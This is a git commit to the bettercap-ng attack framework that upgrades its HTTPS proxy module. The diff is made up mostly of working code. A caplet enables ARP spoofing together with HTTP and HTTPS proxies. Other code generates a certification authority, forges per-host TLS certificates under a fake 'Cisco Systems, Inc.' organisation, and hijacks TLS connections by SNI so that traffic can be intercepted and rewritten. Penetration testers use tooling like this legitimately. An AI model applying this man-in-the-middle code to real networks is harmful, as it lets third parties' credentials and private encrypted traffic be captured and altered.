fix: several improvements to the https.proxy module

This commit is contained in:
evilsocket 2018-01-14 19:34:15 +01:00
parent 723d99cf62
commit f9f0f3d5b3
9 changed files with 308 additions and 29 deletions

View file

@ -2,21 +2,22 @@
#
# sudo ./bettercap-ng -caplet caplets/http-req-dump.cap -eval "set arp.spoof.targets 192.168.1.64"
events.stream off
# events.stream off
net.recon on
net.probe on
sleep 1
net.probe off
set net.sniff.verbose false
set net.sniff.local true
set net.sniff.filter tcp port 443
net.sniff on
# set net.sniff.verbose false
# set net.sniff.local true
# set net.sniff.filter tcp port 443
# net.sniff on
set https.proxy.script caplets/http-req-dump.js
set http.proxy.script caplets/http-req-dump.js
clear
http.proxy on
https.proxy on
arp.spoof on

View file

@ -103,7 +103,9 @@ func (p *ArpSpoofer) getMAC(ip net.IP, probe bool) (net.HardwareAddr, error) {
func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
for _, ip := range p.addresses {
if p.shouldSpoof(ip) == false {
if check_running && p.Running() == false {
return
} else if p.shouldSpoof(ip) == false {
log.Debug("Skipping address %s from ARP spoofing.", ip)
continue
}
@ -121,10 +123,6 @@ func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running
log.Debug("Sending %d bytes of ARP packet to %s:%s.", len(pkt), ip.String(), hw.String())
p.Session.Queue.Send(pkt)
}
if check_running && p.Running() == false {
return
}
}
}

View file

@ -1,20 +1,33 @@
package modules
import (
"bufio"
"bytes"
"context"
"crypto/tls"
"crypto/x509"
"fmt"
"io/ioutil"
"net"
"net/http"
"net/url"
"strconv"
"strings"
"sync"
"time"
"github.com/evilsocket/bettercap-ng/core"
"github.com/evilsocket/bettercap-ng/firewall"
"github.com/evilsocket/bettercap-ng/log"
"github.com/evilsocket/bettercap-ng/session"
btls "github.com/evilsocket/bettercap-ng/tls"
"github.com/elazarl/goproxy"
"github.com/inconshreveable/go-vhost"
)
type HTTPProxy struct {
Name string
Address string
Server http.Server
Redirection *firewall.Redirection
@ -24,11 +37,22 @@ type HTTPProxy struct {
KeyFile string
isTLS bool
isRunning bool
sniListener net.Listener
sess *session.Session
}
func stripPort(s string) string {
ix := strings.IndexRune(s, ':')
if ix == -1 {
return s
}
return s[:ix]
}
func NewHTTPProxy(s *session.Session) *HTTPProxy {
p := &HTTPProxy{
Name: "http.proxy",
Proxy: goproxy.NewProxyHttpServer(),
sess: s,
isTLS: false,
@ -43,6 +67,7 @@ func NewHTTPProxy(s *session.Session) *HTTPProxy {
p.Proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)
p.Proxy.OnRequest().DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
log.Debug("(%s) < %s %s %s%s", core.Green(p.Name), req.RemoteAddr, req.Method, req.Host, req.URL.Path)
if p.Script != nil {
jsres := p.Script.OnRequest(req)
if jsres != nil {
@ -54,6 +79,8 @@ func NewHTTPProxy(s *session.Session) *HTTPProxy {
})
p.Proxy.OnResponse().DoFunc(func(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
req := res.Request
log.Debug("(%s) > %s %s %s%s", core.Green(p.Name), req.RemoteAddr, req.Method, req.Host, req.URL.Path)
if p.Script != nil {
jsres := p.Script.OnResponse(res)
if jsres != nil {
@ -68,7 +95,7 @@ func NewHTTPProxy(s *session.Session) *HTTPProxy {
}
func (p *HTTPProxy) logAction(req *http.Request, jsres *JSResponse) {
p.sess.Events.Add("http.proxy.spoofed-response", struct {
p.sess.Events.Add(p.Name+".spoofed-response", struct {
To string
Method string
Host string
@ -142,6 +169,65 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, scrip
return nil
}
var (
certCache = make(map[string]*tls.Certificate)
certLock = &sync.Mutex{}
)
func getCachedCert(domain string, port int) *tls.Certificate {
key := fmt.Sprintf("%s:%d", domain, port)
certLock.Lock()
defer certLock.Unlock()
if cert, found := certCache[key]; found == true {
return cert
}
return nil
}
func setCachedCert(domain string, port int, cert *tls.Certificate) {
key := fmt.Sprintf("%s:%d", domain, port)
certLock.Lock()
defer certLock.Unlock()
certCache[key] = cert
}
func TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) {
parts := strings.SplitN(host, ":", 2)
hostname := parts[0]
port := 443
if len(parts) > 1 {
port, err = strconv.Atoi(parts[1])
if err != nil {
port = 443
}
}
cert := getCachedCert(hostname, port)
if cert == nil {
log.Info("Creating spoofed certificate for %s:%d", core.Yellow(hostname), port)
cert, err = btls.SignCertificateForHost(ca, hostname)
if err != nil {
log.Warning("Cannot sign host certificate with provided CA: %s", err)
return nil, err
}
setCachedCert(hostname, port, cert)
}
config := tls.Config{
InsecureSkipVerify: true,
Certificates: []tls.Certificate{*cert},
}
return &config, nil
}
}
func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, scriptPath string, certFile string, keyFile string) error {
err := p.Configure(address, proxyPort, httpPort, scriptPath)
if err != nil {
@ -149,9 +235,105 @@ func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, sc
}
p.isTLS = true
p.Name = "https.proxy"
p.CertFile = certFile
p.KeyFile = keyFile
rawCert, _ := ioutil.ReadFile(p.CertFile)
rawKey, _ := ioutil.ReadFile(p.KeyFile)
ourCa, err := tls.X509KeyPair(rawCert, rawKey)
if err != nil {
return err
}
if ourCa.Leaf, err = x509.ParseCertificate(ourCa.Certificate[0]); err != nil {
return err
}
goproxy.GoproxyCa = ourCa
goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: TLSConfigFromCA(&ourCa)}
goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: TLSConfigFromCA(&ourCa)}
goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: TLSConfigFromCA(&ourCa)}
goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: TLSConfigFromCA(&ourCa)}
return nil
}
func (p *HTTPProxy) httpWorker() error {
p.isRunning = true
return p.Server.ListenAndServe()
}
type dumbResponseWriter struct {
net.Conn
}
func (dumb dumbResponseWriter) Header() http.Header {
panic("Header() should not be called on this ResponseWriter")
}
func (dumb dumbResponseWriter) Write(buf []byte) (int, error) {
if bytes.Equal(buf, []byte("HTTP/1.0 200 OK\r\n\r\n")) {
return len(buf), nil // throw away the HTTP OK response from the faux CONNECT request
}
return dumb.Conn.Write(buf)
}
func (dumb dumbResponseWriter) WriteHeader(code int) {
panic("WriteHeader() should not be called on this ResponseWriter")
}
func (dumb dumbResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
return dumb, bufio.NewReadWriter(bufio.NewReader(dumb), bufio.NewWriter(dumb)), nil
}
func (p *HTTPProxy) httpsWorker() error {
var err error
// listen to the TLS ClientHello but make it a CONNECT request instead
p.sniListener, err = net.Listen("tcp", p.Server.Addr)
if err != nil {
return err
}
p.isRunning = true
for p.isRunning {
c, err := p.sniListener.Accept()
if err != nil {
log.Warning("Error accepting connection: %s.", err)
continue
}
go func(c net.Conn) {
tlsConn, err := vhost.TLS(c)
if err != nil {
log.Warning("Error reading SNI: %s.", err)
return
}
hostname := tlsConn.Host()
if hostname == "" {
log.Warning("Client does not support SNI.")
return
}
log.Debug("Got new SNI from %s for %s", core.Bold(stripPort(c.RemoteAddr().String())), core.Yellow(hostname))
req := &http.Request{
Method: "CONNECT",
URL: &url.URL{
Opaque: hostname,
Host: net.JoinHostPort(hostname, "443"),
},
Host: hostname,
Header: make(http.Header),
}
resp := dumbResponseWriter{tlsConn}
p.Proxy.ServeHTTP(resp, req)
}(c)
}
return nil
}
@ -160,9 +342,9 @@ func (p *HTTPProxy) Start() {
var err error
if p.isTLS == true {
err = p.Server.ListenAndServeTLS(p.CertFile, p.KeyFile)
err = p.httpsWorker()
} else {
err = p.Server.ListenAndServe()
err = p.httpWorker()
}
if err != nil {
@ -180,7 +362,13 @@ func (p *HTTPProxy) Stop() error {
p.Redirection = nil
}
if p.isTLS == true {
p.isRunning = false
p.sniListener.Close()
return nil
} else {
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
return p.Server.Shutdown(ctx)
}
}

View file

@ -32,14 +32,14 @@ func NewHttpsProxy(s *session.Session) *HttpsProxy {
"Port to bind the HTTPS proxy to."))
p.AddParam(session.NewStringParameter("https.proxy.certificate",
"~/.bcap-https.proxy.certificate.pem",
"~/.bcap-https.proxy-ca.certificate.pem",
"",
"HTTPS proxy TLS certificate."))
"HTTPS proxy certification authority TLS certificate file."))
p.AddParam(session.NewStringParameter("https.proxy.key",
"~/.bcap-https.proxy.key.pem",
"~/.bcap-https.proxy-ca.key.pem",
"",
"HTTPS proxy TLS key"))
"HTTPS proxy certification authority TLS key file."))
p.AddParam(session.NewStringParameter("https.proxy.script",
"",
@ -111,14 +111,14 @@ func (p *HttpsProxy) Configure() error {
}
if core.Exists(certFile) == false || core.Exists(keyFile) == false {
log.Info("Generating proxy TLS key to %s", keyFile)
log.Info("Generating proxy TLS certificate to %s", certFile)
log.Info("Generating proxy certification authority TLS key to %s", keyFile)
log.Info("Generating proxy certification authority TLS certificate to %s", certFile)
if err := tls.Generate(certFile, keyFile); err != nil {
return err
}
} else {
log.Info("Loading proxy TLS key from %s", keyFile)
log.Info("Loading proxy TLS certificate from %s", certFile)
log.Info("Loading proxy certification authority TLS key from %s", keyFile)
log.Info("Loading proxy certification authority TLS certificate from %s", certFile)
}
return p.proxy.ConfigureTLS(address, proxyPort, httpPort, scriptPath, certFile, keyFile)

View file

@ -73,7 +73,7 @@ func (p *Prober) sendProbe(from net.IP, from_hw net.HardwareAddr, ip net.IP) {
} else if con, err := net.DialUDP("udp", nil, addr); err != nil {
log.Error("Could not dial %s.", name)
} else {
log.Debug("UDP connection to %s enstablished.", name)
// log.Debug("UDP connection to %s enstablished.", name)
defer con.Close()
con.Write([]byte{0xde, 0xad, 0xbe, 0xef})
}

View file

@ -140,7 +140,7 @@ func (q *Queue) Send(raw []byte) error {
if q.active {
err := q.handle.WritePacketData(raw)
if err != nil {
if err == nil {
q.Sent += uint64(len(raw))
} else {
q.Errors += 1

View file

@ -81,7 +81,9 @@ func (s *Session) activeHandler(args []string, sess *Session) error {
if len(params) > 0 {
fmt.Println()
for _, p := range params {
fmt.Printf(p.Dump(s.HelpPadding))
_, val := s.Env.Get(p.Name)
fmt.Printf(" "+core.YELLOW+"%"+strconv.Itoa(s.HelpPadding)+"s"+core.RESET+
" : %s\n", p.Name, val)
}
}

View file

@ -50,6 +50,7 @@ func Generate(certPath string, keyPath string) error {
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
IsCA: true,
}
cert_raw, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)

89
tls/sign.go Normal file
View file

@ -0,0 +1,89 @@
package tls
import (
"crypto/rsa"
"crypto/sha1"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"math/big"
"net"
"sort"
"time"
"github.com/elazarl/goproxy"
)
func hashSorted(lst []string) []byte {
c := make([]string, len(lst))
copy(c, lst)
sort.Strings(c)
h := sha1.New()
for _, s := range c {
h.Write([]byte(s + ","))
}
return h.Sum(nil)
}
func hashSortedBigInt(lst []string) *big.Int {
rv := new(big.Int)
rv.SetBytes(hashSorted(lst))
return rv
}
func SignCertificateForHost(ca *tls.Certificate, host string) (cert *tls.Certificate, err error) {
var x509ca *x509.Certificate
// TODO: read actual fields from the host
if x509ca, err = x509.ParseCertificate(ca.Certificate[0]); err != nil {
return
}
start := time.Unix(0, 0)
end, err := time.Parse("2006-01-02", "2049-12-31")
if err != nil {
panic(err)
}
hosts := []string{host}
hash := hashSorted(hosts)
serial := new(big.Int)
serial.SetBytes(hash)
template := x509.Certificate{
SerialNumber: serial,
Issuer: x509ca.Subject,
Subject: pkix.Name{
Organization: []string{"Cisco Systems, Inc."},
},
NotBefore: start,
NotAfter: end,
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
}
for _, h := range hosts {
if ip := net.ParseIP(h); ip != nil {
template.IPAddresses = append(template.IPAddresses, ip)
} else {
template.DNSNames = append(template.DNSNames, h)
}
}
var csprng goproxy.CounterEncryptorRand
if csprng, err = goproxy.NewCounterEncryptorRandFromKey(ca.PrivateKey, hash); err != nil {
return
}
var certpriv *rsa.PrivateKey
if certpriv, err = rsa.GenerateKey(&csprng, 1024); err != nil {
return
}
var derBytes []byte
if derBytes, err = x509.CreateCertificate(&csprng, &template, x509ca, &certpriv.PublicKey, ca.PrivateKey); err != nil {
return
}
return &tls.Certificate{
Certificate: [][]byte{derBytes, ca.Certificate[0]},
PrivateKey: certpriv,
}, nil
}